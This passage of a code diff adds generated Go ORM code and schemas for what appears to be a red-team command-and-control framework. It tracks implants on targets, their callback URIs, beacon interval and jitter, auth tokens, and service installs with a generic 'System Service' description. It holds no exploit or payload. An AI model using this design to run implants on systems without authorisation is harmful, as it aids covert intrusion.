*ImplantServiceConfigMutation) AddedField(name string) (ent.Value, bool) { + return nil, false +} + +// AddField adds the value to the field with the given name. It returns an error if +// the field is not defined in the schema, or if the type mismatched the field +// type. +func (m *ImplantServiceConfigMutation) AddField(name string, value ent.Value) error { + switch name { + } + return fmt.Errorf("unknown ImplantServiceConfig numeric field %s", name) +} + +// ClearedFields returns all nullable fields that were cleared during this +// mutation. +func (m *ImplantServiceConfigMutation) ClearedFields() []string { + return nil +} + +// FieldCleared returns a boolean indicating if a field with the given name was +// cleared in this mutation. +func (m *ImplantServiceConfigMutation) FieldCleared(name string) bool { + _, ok := m.clearedFields[name] + return ok +} + +// ClearField clears the value of the field with the given name. It returns an +// error if the field is not defined in the schema. +func (m *ImplantServiceConfigMutation) ClearField(name string) error { + return fmt.Errorf("unknown ImplantServiceConfig nullable field %s", name) +} + +// ResetField resets all changes in the mutation for the field with the given name. +// It returns an error if the field is not defined in the schema. +func (m *ImplantServiceConfigMutation) ResetField(name string) error { + switch name { + case implantserviceconfig.FieldName: + m.ResetName() + return nil + case implantserviceconfig.FieldDescription: + m.ResetDescription() + return nil + case implantserviceconfig.FieldExecutablePath: + m.ResetExecutablePath() + return nil + } + return fmt.Errorf("unknown ImplantServiceConfig field %s", name) +} + +// AddedEdges returns all edge names that were set/added in this mutation. +func (m *ImplantServiceConfigMutation) AddedEdges() []string { + edges := make([]string, 0, 1) + if m.implantConfigs != nil { + edges = append(edges, implantserviceconfig.EdgeImplantConfigs) + } + return edges +} + +// AddedIDs returns all IDs (to other nodes) that were added for the given edge +// name in this mutation. +func (m *ImplantServiceConfigMutation) AddedIDs(name string) []ent.Value { + switch name { + case implantserviceconfig.EdgeImplantConfigs: + ids := make([]ent.Value, 0, len(m.implantConfigs)) + for id := range m.implantConfigs { + ids = append(ids, id) + } + return ids + } + return nil +} + +// RemovedEdges returns all edge names that were removed in this mutation. +func (m *ImplantServiceConfigMutation) RemovedEdges() []string { + edges := make([]string, 0, 1) + if m.removedimplantConfigs != nil { + edges = append(edges, implantserviceconfig.EdgeImplantConfigs) + } + return edges +} + +// RemovedIDs returns all IDs (to other nodes) that were removed for the edge with +// the given name in this mutation. +func (m *ImplantServiceConfigMutation) RemovedIDs(name string) []ent.Value { + switch name { + case implantserviceconfig.EdgeImplantConfigs: + ids := make([]ent.Value, 0, len(m.removedimplantConfigs)) + for id := range m.removedimplantConfigs { + ids = append(ids, id) + } + return ids + } + return nil +} + +// ClearedEdges returns all edge names that were cleared in this mutation. +func (m *ImplantServiceConfigMutation) ClearedEdges() []string { + edges := make([]string, 0, 1) + if m.clearedimplantConfigs { + edges = append(edges, implantserviceconfig.EdgeImplantConfigs) + } + return edges +} + +// EdgeCleared returns a boolean which indicates if the edge with the given name +// was cleared in this mutation. +func (m *ImplantServiceConfigMutation) EdgeCleared(name string) bool { + switch name { + case implantserviceconfig.EdgeImplantConfigs: + return m.clearedimplantConfigs + } + return false +} + +// ClearEdge clears the value of the edge with the given name. It returns an error +// if that edge is not defined in the schema. +func (m *ImplantServiceConfigMutation) ClearEdge(name string) error { + switch name { + } + return fmt.Errorf("unknown ImplantServiceConfig unique edge %s", name) +} + +// ResetEdge resets all changes to the edge with the given name in this mutation. +// It returns an error if the edge is not defined in the schema. +func (m *ImplantServiceConfigMutation) ResetEdge(name string) error { + switch name { + case implantserviceconfig.EdgeImplantConfigs: + m.ResetImplantConfigs() + return nil + } + return fmt.Errorf("unknown ImplantServiceConfig edge %s", name) +} + // TargetMutation represents an operation that mutates the Target nodes in the graph. type TargetMutation struct { config @@ -1148,6 +3562,9 @@ type TargetMutation struct { credentials map[int]struct{} removedcredentials map[int]struct{} clearedcredentials bool + implants map[int]struct{} + removedimplants map[int]struct{} + clearedimplants bool done bool oldValue func(context.Context) (*Target, error) predicates []predicate.Target @@ -1377,6 +3794,60 @@ func (m *TargetMutation) ResetCredentials() { m.removedcredentials = nil } +// AddImplantIDs adds the "implants" edge to the Implant entity by ids. +func (m *TargetMutation) AddImplantIDs(ids ...int) { + if m.implants == nil { + m.implants = make(map[int]struct{}) + } + for i := range ids { + m.implants[ids[i]] = struct{}{} + } +} + +// ClearImplants clears the "implants" edge to the Implant entity. +func (m *TargetMutation) ClearImplants() { + m.clearedimplants = true +} + +// ImplantsCleared reports if the "implants" edge to the Implant entity was cleared. +func (m *TargetMutation) ImplantsCleared() bool { + return m.clearedimplants +} + +// RemoveImplantIDs removes the "implants" edge to the Implant entity by IDs. +func (m *TargetMutation) RemoveImplantIDs(ids ...int) { + if m.removedimplants == nil { + m.removedimplants = make(map[int]struct{}) + } + for i := range ids { + delete(m.implants, ids[i]) + m.removedimplants[ids[i]] = struct{}{} + } +} + +// RemovedImplants returns the removed IDs of the "implants" edge to the Implant entity. +func (m *TargetMutation) RemovedImplantsIDs() (ids []int) { + for id := range m.removedimplants { + ids = append(ids, id) + } + return +} + +// ImplantsIDs returns the "implants" edge IDs in the mutation. +func (m *TargetMutation) ImplantsIDs() (ids []int) { + for id := range m.implants { + ids = append(ids, id) + } + return +} + +// ResetImplants resets all changes to the "implants" edge. +func (m *TargetMutation) ResetImplants() { + m.implants = nil + m.clearedimplants = false + m.removedimplants = nil +} + // Where appends a list predicates to the TargetMutation builder. func (m *TargetMutation) Where(ps ...predicate.Target) { m.predicates = append(m.predicates, ps...) @@ -1512,10 +3983,13 @@ func (m *TargetMutation) ResetField(name string) error { // AddedEdges returns all edge names that were set/added in this mutation. func (m *TargetMutation) AddedEdges() []string { - edges := make([]string, 0, 1) + edges := make([]string, 0, 2) if m.credentials != nil { edges = append(edges, target.EdgeCredentials) } + if m.implants != nil { + edges = append(edges, target.EdgeImplants) + } return edges } @@ -1529,16 +4003,25 @@ func (m *TargetMutation) AddedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case target.EdgeImplants: + ids := make([]ent.Value, 0, len(m.implants)) + for id := range m.implants { + ids = append(ids, id) + } + return ids } return nil } // RemovedEdges returns all edge names that were removed in this mutation. func (m *TargetMutation) RemovedEdges() []string { - edges := make([]string, 0, 1) + edges := make([]string, 0, 2) if m.removedcredentials != nil { edges = append(edges, target.EdgeCredentials) } + if m.removedimplants != nil { + edges = append(edges, target.EdgeImplants) + } return edges } @@ -1552,16 +4035,25 @@ func (m *TargetMutation) RemovedIDs(name string) []ent.Value { ids = append(ids, id) } return ids + case target.EdgeImplants: + ids := make([]ent.Value, 0, len(m.removedimplants)) + for id := range m.removedimplants { + ids = append(ids, id) + } + return ids } return nil } // ClearedEdges returns all edge names that were cleared in this mutation. func (m *TargetMutation) ClearedEdges() []string { - edges := make([]string, 0, 1) + edges := make([]string, 0, 2) if m.clearedcredentials { edges = append(edges, target.EdgeCredentials) } + if m.clearedimplants { + edges = append(edges, target.EdgeImplants) + } return edges } @@ -1571,6 +4063,8 @@ func (m *TargetMutation) EdgeCleared(name string) bool { switch name { case target.EdgeCredentials: return m.clearedcredentials + case target.EdgeImplants: + return m.clearedimplants } return false } @@ -1590,6 +4084,9 @@ func (m *TargetMutation) ResetEdge(name string) error { case target.EdgeCredentials: m.ResetCredentials() return nil + case target.EdgeImplants: + m.ResetImplants() + return nil } return fmt.Errorf("unknown Target edge %s", name) } diff --git a/ent/predicate/predicate.go b/ent/predicate/predicate.go index 257fc6eb2..346373903 100644 --- a/ent/predicate/predicate.go +++ b/ent/predicate/predicate.go @@ -12,5 +12,17 @@ type Credential func(*sql.Selector) // File is the predicate function for file builders. type File func(*sql.Selector) +// Implant is the predicate function for implant builders. +type Implant func(*sql.Selector) + +// ImplantCallbackConfig is the predicate function for implantcallbackconfig builders. +type ImplantCallbackConfig func(*sql.Selector) + +// ImplantConfig is the predicate function for implantconfig builders. +type ImplantConfig func(*sql.Selector) + +// ImplantServiceConfig is the predicate function for implantserviceconfig builders. +type ImplantServiceConfig func(*sql.Selector) + // Target is the predicate function for target builders. type Target func(*sql.Selector) diff --git a/ent/runtime.go b/ent/runtime.go index 2a13cfce2..7308bea57 100644 --- a/ent/runtime.go +++ b/ent/runtime.go @@ -7,6 +7,10 @@ import ( "github.com/kcarretto/realm/ent/credential" "github.com/kcarretto/realm/ent/file" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantcallbackconfig" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" "github.com/kcarretto/realm/ent/schema" "github.com/kcarretto/realm/ent/target" ) @@ -59,6 +63,66 @@ func init() { fileDescCreatedAt := fileFields[3].Descriptor() // file.DefaultCreatedAt holds the default value on creation for the createdAt field. file.DefaultCreatedAt = fileDescCreatedAt.Default.(func() time.Time) + implantFields := schema.Implant{}.Fields() + _ = implantFields + // implantDescSessionID is the schema descriptor for sessionID field. + implantDescSessionID := implantFields[0].Descriptor() + // implant.SessionIDValidator is a validator for the "sessionID" field. It is called by the builders before save. + implant.SessionIDValidator = implantDescSessionID.Validators[0].(func(string) error) + implantcallbackconfigFields := schema.ImplantCallbackConfig{}.Fields() + _ = implantcallbackconfigFields + // implantcallbackconfigDescURI is the schema descriptor for uri field. + implantcallbackconfigDescURI := implantcallbackconfigFields[0].Descriptor() + // implantcallbackconfig.URIValidator is a validator for the "uri" field. It is called by the builders before save. + implantcallbackconfig.URIValidator = implantcallbackconfigDescURI.Validators[0].(func(string) error) + // implantcallbackconfigDescPriority is the schema descriptor for priority field. + implantcallbackconfigDescPriority := implantcallbackconfigFields[1].Descriptor() + // implantcallbackconfig.DefaultPriority holds the default value on creation for the priority field. + implantcallbackconfig.DefaultPriority = implantcallbackconfigDescPriority.Default.(int) + // implantcallbackconfig.PriorityValidator is a validator for the "priority" field. It is called by the builders before save. + implantcallbackconfig.PriorityValidator = implantcallbackconfigDescPriority.Validators[0].(func(int) error) + // implantcallbackconfigDescTimeout is the schema descriptor for timeout field. + implantcallbackconfigDescTimeout := implantcallbackconfigFields[2].Descriptor() + // implantcallbackconfig.DefaultTimeout holds the default value on creation for the timeout field. + implantcallbackconfig.DefaultTimeout = implantcallbackconfigDescTimeout.Default.(int) + // implantcallbackconfig.TimeoutValidator is a validator for the "timeout" field. It is called by the builders before save. + implantcallbackconfig.TimeoutValidator = implantcallbackconfigDescTimeout.Validators[0].(func(int) error) + // implantcallbackconfigDescInterval is the schema descriptor for interval field. + implantcallbackconfigDescInterval := implantcallbackconfigFields[3].Descriptor() + // implantcallbackconfig.DefaultInterval holds the default value on creation for the interval field. + implantcallbackconfig.DefaultInterval = implantcallbackconfigDescInterval.Default.(int) + // implantcallbackconfig.IntervalValidator is a validator for the "interval" field. It is called by the builders before save. + implantcallbackconfig.IntervalValidator = implantcallbackconfigDescInterval.Validators[0].(func(int) error) + // implantcallbackconfigDescJitter is the schema descriptor for jitter field. + implantcallbackconfigDescJitter := implantcallbackconfigFields[4].Descriptor() + // implantcallbackconfig.DefaultJitter holds the default value on creation for the jitter field. + implantcallbackconfig.DefaultJitter = implantcallbackconfigDescJitter.Default.(int) + // implantcallbackconfig.JitterValidator is a validator for the "jitter" field. It is called by the builders before save. + implantcallbackconfig.JitterValidator = implantcallbackconfigDescJitter.Validators[0].(func(int) error) + implantconfigFields := schema.ImplantConfig{}.Fields() + _ = implantconfigFields + // implantconfigDescName is the schema descriptor for name field. + implantconfigDescName := implantconfigFields[0].Descriptor() + // implantconfig.NameValidator is a validator for the "name" field. It is called by the builders before save. + implantconfig.NameValidator = implantconfigDescName.Validators[0].(func(string) error) + // implantconfigDescAuthToken is the schema descriptor for authToken field. + implantconfigDescAuthToken := implantconfigFields[1].Descriptor() + // implantconfig.DefaultAuthToken holds the default value on creation for the authToken field. + implantconfig.DefaultAuthToken = implantconfigDescAuthToken.Default.(func() string) + implantserviceconfigFields := schema.ImplantServiceConfig{}.Fields() + _ = implantserviceconfigFields + // implantserviceconfigDescName is the schema descriptor for name field. + implantserviceconfigDescName := implantserviceconfigFields[0].Descriptor() + // implantserviceconfig.NameValidator is a validator for the "name" field. It is called by the builders before save. + implantserviceconfig.NameValidator = implantserviceconfigDescName.Validators[0].(func(string) error) + // implantserviceconfigDescDescription is the schema descriptor for description field. + implantserviceconfigDescDescription := implantserviceconfigFields[1].Descriptor() + // implantserviceconfig.DefaultDescription holds the default value on creation for the description field. + implantserviceconfig.DefaultDescription = implantserviceconfigDescDescription.Default.(string) + // implantserviceconfigDescExecutablePath is the schema descriptor for executablePath field. + implantserviceconfigDescExecutablePath := implantserviceconfigFields[2].Descriptor() + // implantserviceconfig.ExecutablePathValidator is a validator for the "executablePath" field. It is called by the builders before save. + implantserviceconfig.ExecutablePathValidator = implantserviceconfigDescExecutablePath.Validators[0].(func(string) error) targetFields := schema.Target{}.Fields() _ = targetFields // targetDescName is the schema descriptor for name field. diff --git a/ent/schema/implant.go b/ent/schema/implant.go new file mode 100644 index 000000000..e284e055e --- /dev/null +++ b/ent/schema/implant.go @@ -0,0 +1,52 @@ +package schema + +import ( + "crypto/rand" + "encoding/base64" + "fmt" + "io" + + "entgo.io/ent" + "entgo.io/ent/schema/edge" + "entgo.io/ent/schema/field" +) + +// Implant holds the schema definition for the Implant entity. +type Implant struct { + ent.Schema +} + +// Fields of the Implant. +func (Implant) Fields() []ent.Field { + return []ent.Field{ + field.String("sessionID"). + NotEmpty(). + Comment("Unique identifier for this instance of the implant (if it's running)."), + field.String("processName"). + Optional(). + Comment("Name of the process this implant is running as."), + } +} + +// Edges of the Implant. +func (Implant) Edges() []ent.Edge { + return []ent.Edge{ + edge.To("target", Target.Type). + Unique(). + Required(). + Comment("The target this implant is (or will be) installed on."), + edge.To("config", ImplantConfig.Type). + Unique(). + Required(). + Comment("Configuration for this implant"), + } +} + +func newSessionID() string { + buf := make([]byte, 32) + _, err := io.ReadFull(rand.Reader, buf) + if err != nil { + panic(fmt.Errorf("failed to generate authToken: %w", err)) + } + return base64.StdEncoding.EncodeToString(buf) +} diff --git a/ent/schema/implant_callback_config.go b/ent/schema/implant_callback_config.go new file mode 100644 index 000000000..86fc5c8bc --- /dev/null +++ b/ent/schema/implant_callback_config.go @@ -0,0 +1,46 @@ +package schema + +import ( + "entgo.io/ent" + "entgo.io/ent/schema/edge" + "entgo.io/ent/schema/field" +) + +// ImplantCallbackConfig holds the schema definition for the ImplantCallbackConfig entity. +type ImplantCallbackConfig struct { + ent.Schema +} + +// Fields of the ImplantCallbackConfig. +func (ImplantCallbackConfig) Fields() []ent.Field { + return []ent.Field{ + field.String("uri"). + NotEmpty(). + Comment("URI the implant should use for checking in."), + field.Int("priority"). + Default(10). + Min(0). + Comment("The priority of using this callback config (lower is better)."), + field.Int("timeout"). + Default(5). + Positive(). + Comment("The maximum time to wait before attempting the next callback config (seconds)."), + field.Int("interval"). + Default(60). + Positive(). + Comment("The maximum duration between callbacks (seconds)."), + field.Int("jitter"). + Default(0). + Min(0). + Comment("The maximum random splay to subtract from the callback interval (seconds)."), + } +} + +// Edges of the ImplantCallbackConfig. +func (ImplantCallbackConfig) Edges() []ent.Edge { + return []ent.Edge{ + edge.From("implantConfigs", ImplantConfig.Type). + Ref("callbackConfigs"). + Comment("Implant configs that use this callback config"), + } +} diff --git a/ent/schema/implant_config.go b/ent/schema/implant_config.go new file mode 100644 index 000000000..5e49fe9ed --- /dev/null +++ b/ent/schema/implant_config.go @@ -0,0 +1,53 @@ +package schema + +import ( + "crypto/rand" + "encoding/base64" + "fmt" + "io" + + "entgo.io/ent" + "entgo.io/ent/schema/edge" + "entgo.io/ent/schema/field" +) + +// ImplantConfig holds the schema definition for the ImplantConfig entity. +type ImplantConfig struct { + ent.Schema +} + +// Fields of the ImplantConfig. +func (ImplantConfig) Fields() []ent.Field { + return []ent.Field{ + field.String("name"). + Unique(). + NotEmpty(). + Comment("Human-readable name assigned to this implant config (e.g. imix-rhel)."), + field.String("authToken"). + Unique(). + DefaultFunc(newAuthToken). + Comment("Authentication token used by the implant to communicate with the GraphQL API."), + } +} + +// Edges of the Implant. +func (ImplantConfig) Edges() []ent.Edge { + return []ent.Edge{ + edge.From("implants", Implant.Type). + Ref("config"). + Comment("Implants that are using this config"), + edge.To("serviceConfigs", ImplantServiceConfig.Type). + Comment("Service configurations used for implant deployment"), + edge.To("callbackConfigs", ImplantCallbackConfig.Type). + Comment("implants that use this callback config"), + } +} + +func newAuthToken() string { + buf := make([]byte, 32) + _, err := io.ReadFull(rand.Reader, buf) + if err != nil { + panic(fmt.Errorf("failed to generate authToken: %w", err)) + } + return base64.StdEncoding.EncodeToString(buf) +} diff --git a/ent/schema/implant_service_config.go b/ent/schema/implant_service_config.go new file mode 100644 index 000000000..10fa8b5e2 --- /dev/null +++ b/ent/schema/implant_service_config.go @@ -0,0 +1,37 @@ +package schema + +import ( + "entgo.io/ent" + "entgo.io/ent/schema/edge" + "entgo.io/ent/schema/field" +) + +// ImplantServiceConfig holds the schema definition for the ImplantServiceConfig entity. +type ImplantServiceConfig struct { + ent.Schema +} + +// Fields of the ImplantServiceConfig. +func (ImplantServiceConfig) Fields() []ent.Field { + return []ent.Field{ + field.String("name"). + Unique(). + NotEmpty(). + Comment("The name of the service."), + field.String("description"). + Default("System Service"). + Comment("A description of the service."), + field.String("executablePath"). + NotEmpty(). + Comment("Path to the executable run by the service."), + } +} + +// Edges of the ImplantServiceConfig. +func (ImplantServiceConfig) Edges() []ent.Edge { + return []ent.Edge{ + edge.From("implantConfigs", ImplantConfig.Type). + Ref("serviceConfigs"). + Comment("Implants configs that use this service config."), + } +} diff --git a/ent/schema/target.go b/ent/schema/target.go index 1df7dccac..6adb12a57 100644 --- a/ent/schema/target.go +++ b/ent/schema/target.go @@ -38,7 +38,10 @@ func (Target) Fields() []ent.Field { func (Target) Edges() []ent.Edge { return []ent.Edge{ edge.To("credentials", Credential.Type). - Comment("A Target can have many credentials connected to it"). - Annotations(entgql.Bind()), + Annotations(entgql.Bind()). + Comment("A Target can have many credentials connected to it"), + edge.From("implants", Implant.Type). + Ref("target"). + Comment("Implants that are (or will be) installed on the target."), } } diff --git a/ent/target.go b/ent/target.go index 5c95a0dac..1433bddce 100644 --- a/ent/target.go +++ b/ent/target.go @@ -30,9 +30,11 @@ type Target struct { type TargetEdges struct { // Credentials holds the value of the credentials edge. Credentials []*Credential `json:"credentials,omitempty"` + // Implants holds the value of the implants edge. + Implants []*Implant `json:"implants,omitempty"` // loadedTypes holds the information for reporting if a // type was loaded (or requested) in eager-loading or not. - loadedTypes [1]bool + loadedTypes [2]bool } // CredentialsOrErr returns the Credentials value or an error if the edge @@ -44,6 +46,15 @@ func (e TargetEdges) CredentialsOrErr() ([]*Credential, error) { return nil, &NotLoadedError{edge: "credentials"} } +// ImplantsOrErr returns the Implants value or an error if the edge +// was not loaded in eager-loading. +func (e TargetEdges) ImplantsOrErr() ([]*Implant, error) { + if e.loadedTypes[1] { + return e.Implants, nil + } + return nil, &NotLoadedError{edge: "implants"} +} + // scanValues returns the types for scanning values from sql.Rows. func (*Target) scanValues(columns []string) ([]interface{}, error) { values := make([]interface{}, len(columns)) @@ -96,6 +107,11 @@ func (t *Target) QueryCredentials() *CredentialQuery { return (&TargetClient{config: t.config}).QueryCredentials(t) } +// QueryImplants queries the "implants" edge of the Target entity. +func (t *Target) QueryImplants() *ImplantQuery { + return (&TargetClient{config: t.config}).QueryImplants(t) +} + // Update returns a builder for updating this Target. // Note that you need to call Target.Unwrap() before calling this method if this Target // was returned from a transaction, and the transaction was committed or rolled back. diff --git a/ent/target/target.go b/ent/target/target.go index ef7898333..ef5c0d8e2 100644 --- a/ent/target/target.go +++ b/ent/target/target.go @@ -13,6 +13,8 @@ const ( FieldForwardConnectIP = "forward_connect_ip" // EdgeCredentials holds the string denoting the credentials edge name in mutations. EdgeCredentials = "credentials" + // EdgeImplants holds the string denoting the implants edge name in mutations. + EdgeImplants = "implants" // Table holds the table name of the target in the database. Table = "targets" // CredentialsTable is the table that holds the credentials relation/edge. @@ -22,6 +24,13 @@ const ( CredentialsInverseTable = "credentials" // CredentialsColumn is the table column denoting the credentials relation/edge. CredentialsColumn = "target_credentials" + // ImplantsTable is the table that holds the implants relation/edge. + ImplantsTable = "implants" + // ImplantsInverseTable is the table name for the Implant entity. + // It exists in this package in order to avoid circular dependency with the "implant" package. + ImplantsInverseTable = "implants" + // ImplantsColumn is the table column denoting the implants relation/edge. + ImplantsColumn = "implant_target" ) // Columns holds all SQL columns for target fields. diff --git a/ent/target/where.go b/ent/target/where.go index 3ab3decaf..c87f05372 100644 --- a/ent/target/where.go +++ b/ent/target/where.go @@ -355,6 +355,34 @@ func HasCredentialsWith(preds ...predicate.Credential) predicate.Target { }) } +// HasImplants applies the HasEdge predicate on the "implants" edge. +func HasImplants() predicate.Target { + return predicate.Target(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantsTable, FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, ImplantsTable, ImplantsColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasImplantsWith applies the HasEdge predicate on the "implants" edge with a given conditions (other predicates). +func HasImplantsWith(preds ...predicate.Implant) predicate.Target { + return predicate.Target(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(ImplantsInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, ImplantsTable, ImplantsColumn), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + // And groups predicates with the AND operator between them. func And(predicates ...predicate.Target) predicate.Target { return predicate.Target(func(s *sql.Selector) { diff --git a/ent/target_create.go b/ent/target_create.go index ead3b1cb3..0e24b6b08 100644 --- a/ent/target_create.go +++ b/ent/target_create.go @@ -10,6 +10,7 @@ import ( "entgo.io/ent/dialect/sql/sqlgraph" "entgo.io/ent/schema/field" "github.com/kcarretto/realm/ent/credential" + "github.com/kcarretto/realm/ent/implant" "github.com/kcarretto/realm/ent/target" ) @@ -47,6 +48,21 @@ func (tc *TargetCreate) AddCredentials(c ...*Credential) *TargetCreate { return tc.AddCredentialIDs(ids...) } +// AddImplantIDs adds the "implants" edge to the Implant entity by IDs. +func (tc *TargetCreate) AddImplantIDs(ids ...int) *TargetCreate { + tc.mutation.AddImplantIDs(ids...) + return tc +} + +// AddImplants adds the "implants" edges to the Implant entity. +func (tc *TargetCreate) AddImplants(i ...*Implant) *TargetCreate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return tc.AddImplantIDs(ids...) +} + // Mutation returns the TargetMutation object of the builder. func (tc *TargetCreate) Mutation() *TargetMutation { return tc.mutation @@ -195,6 +211,25 @@ func (tc *TargetCreate) createSpec() (*Target, *sqlgraph.CreateSpec) { } _spec.Edges = append(_spec.Edges, edge) } + if nodes := tc.mutation.ImplantsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: target.ImplantsTable, + Columns: []string{target.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } return _node, _spec } diff --git a/ent/target_query.go b/ent/target_query.go index 3b4b80132..e80789e07 100644 --- a/ent/target_query.go +++ b/ent/target_query.go @@ -13,6 +13,7 @@ import ( "entgo.io/ent/dialect/sql/sqlgraph" "entgo.io/ent/schema/field" "github.com/kcarretto/realm/ent/credential" + "github.com/kcarretto/realm/ent/implant" "github.com/kcarretto/realm/ent/predicate" "github.com/kcarretto/realm/ent/target" ) @@ -28,6 +29,7 @@ type TargetQuery struct { predicates []predicate.Target // eager-loading edges. withCredentials *CredentialQuery + withImplants *ImplantQuery // intermediate query (i.e. traversal path). sql *sql.Selector path func(context.Context) (*sql.Selector, error) @@ -86,6 +88,28 @@ func (tq *TargetQuery) QueryCredentials() *CredentialQuery { return query } +// QueryImplants chains the current query on the "implants" edge. +func (tq *TargetQuery) QueryImplants() *ImplantQuery { + query := &ImplantQuery{config: tq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := tq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := tq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(target.Table, target.FieldID, selector), + sqlgraph.To(implant.Table, implant.FieldID), + sqlgraph.Edge(sqlgraph.O2M, true, target.ImplantsTable, target.ImplantsColumn), + ) + fromU = sqlgraph.SetNeighbors(tq.driver.Dialect(), step) + return fromU, nil + } + return query +} + // First returns the first Target entity from the query. // Returns a *NotFoundError when no Target was found. func (tq *TargetQuery) First(ctx context.Context) (*Target, error) { @@ -268,6 +292,7 @@ func (tq *TargetQuery) Clone() *TargetQuery { order: append([]OrderFunc{}, tq.order...), predicates: append([]predicate.Target{}, tq.predicates...), withCredentials: tq.withCredentials.Clone(), + withImplants: tq.withImplants.Clone(), // clone intermediate query. sql: tq.sql.Clone(), path: tq.path, @@ -285,6 +310,17 @@ func (tq *TargetQuery) WithCredentials(opts ...func(*CredentialQuery)) *TargetQu return tq } +// WithImplants tells the query-builder to eager-load the nodes that are connected to +// the "implants" edge. The optional arguments are used to configure the query builder of the edge. +func (tq *TargetQuery) WithImplants(opts ...func(*ImplantQuery)) *TargetQuery { + query := &ImplantQuery{config: tq.config} + for _, opt := range opts { + opt(query) + } + tq.withImplants = query + return tq +} + // GroupBy is used to group vertices by one or more fields/columns. // It is often used with aggregate functions, like: count, max, mean, min, sum. // @@ -350,8 +386,9 @@ func (tq *TargetQuery) sqlAll(ctx context.Context) ([]*Target, error) { var ( nodes = []*Target{} _spec = tq.querySpec() - loadedTypes = [1]bool{ + loadedTypes = [2]bool{ tq.withCredentials != nil, + tq.withImplants != nil, } ) _spec.ScanValues = func(columns []string) ([]interface{}, error) { @@ -403,6 +440,35 @@ func (tq *TargetQuery) sqlAll(ctx context.Context) ([]*Target, error) { } } + if query := tq.withImplants; query != nil { + fks := make([]driver.Value, 0, len(nodes)) + nodeids := make(map[int]*Target) + for i := range nodes { + fks = append(fks, nodes[i].ID) + nodeids[nodes[i].ID] = nodes[i] + nodes[i].Edges.Implants = []*Implant{} + } + query.withFKs = true + query.Where(predicate.Implant(func(s *sql.Selector) { + s.Where(sql.InValues(target.ImplantsColumn, fks...)) + })) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + fk := n.implant_target + if fk == nil { + return nil, fmt.Errorf(`foreign-key "implant_target" is nil for node %v`, n.ID) + } + node, ok := nodeids[*fk] + if !ok { + return nil, fmt.Errorf(`unexpected foreign-key "implant_target" returned %v for node %v`, *fk, n.ID) + } + node.Edges.Implants = append(node.Edges.Implants, n) + } + } + return nodes, nil } diff --git a/ent/target_update.go b/ent/target_update.go index b8e34602d..66da6ac49 100644 --- a/ent/target_update.go +++ b/ent/target_update.go @@ -11,6 +11,7 @@ import ( "entgo.io/ent/dialect/sql/sqlgraph" "entgo.io/ent/schema/field" "github.com/kcarretto/realm/ent/credential" + "github.com/kcarretto/realm/ent/implant" "github.com/kcarretto/realm/ent/predicate" "github.com/kcarretto/realm/ent/target" ) @@ -55,6 +56,21 @@ func (tu *TargetUpdate) AddCredentials(c ...*Credential) *TargetUpdate { return tu.AddCredentialIDs(ids...) } +// AddImplantIDs adds the "implants" edge to the Implant entity by IDs. +func (tu *TargetUpdate) AddImplantIDs(ids ...int) *TargetUpdate { + tu.mutation.AddImplantIDs(ids...) + return tu +} + +// AddImplants adds the "implants" edges to the Implant entity. +func (tu *TargetUpdate) AddImplants(i ...*Implant) *TargetUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return tu.AddImplantIDs(ids...) +} + // Mutation returns the TargetMutation object of the builder. func (tu *TargetUpdate) Mutation() *TargetMutation { return tu.mutation @@ -81,6 +97,27 @@ func (tu *TargetUpdate) RemoveCredentials(c ...*Credential) *TargetUpdate { return tu.RemoveCredentialIDs(ids...) } +// ClearImplants clears all "implants" edges to the Implant entity. +func (tu *TargetUpdate) ClearImplants() *TargetUpdate { + tu.mutation.ClearImplants() + return tu +} + +// RemoveImplantIDs removes the "implants" edge to Implant entities by IDs. +func (tu *TargetUpdate) RemoveImplantIDs(ids ...int) *TargetUpdate { + tu.mutation.RemoveImplantIDs(ids...) + return tu +} + +// RemoveImplants removes "implants" edges to Implant entities. +func (tu *TargetUpdate) RemoveImplants(i ...*Implant) *TargetUpdate { + ids := make([]int, len(i)) + for j := range i { + ids[j] = i[j].ID + } + return tu.RemoveImplantIDs(ids...) +} + // Save executes the query and returns the number of nodes affected by the update operation. func (tu *TargetUpdate) Save(ctx context.Context) (int, error) { var ( @@ -242,6 +279,60 @@ func (tu *TargetUpdate) sqlSave(ctx context.Context) (n int, err error) { } _spec.Edges.Add = append(_spec.Edges.Add, edge) } + if tu.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: target.ImplantsTable, + Columns: []string{target.ImplantsColumn}, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implant.FieldID, + }, + }, + } + _spec.Edges.Clear = append(_spec.Edges.Clear, edge) + } + if nodes := tu.mutation.RemovedImplantsIDs(); len(nodes) > 0 && !tu.mutation.ImplantsCleared() { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.O2M, + Inverse: true, + Table: target.ImplantsTable, + Columns: []string{target.ImplantsColumn}, + Bidi: false, + Target: 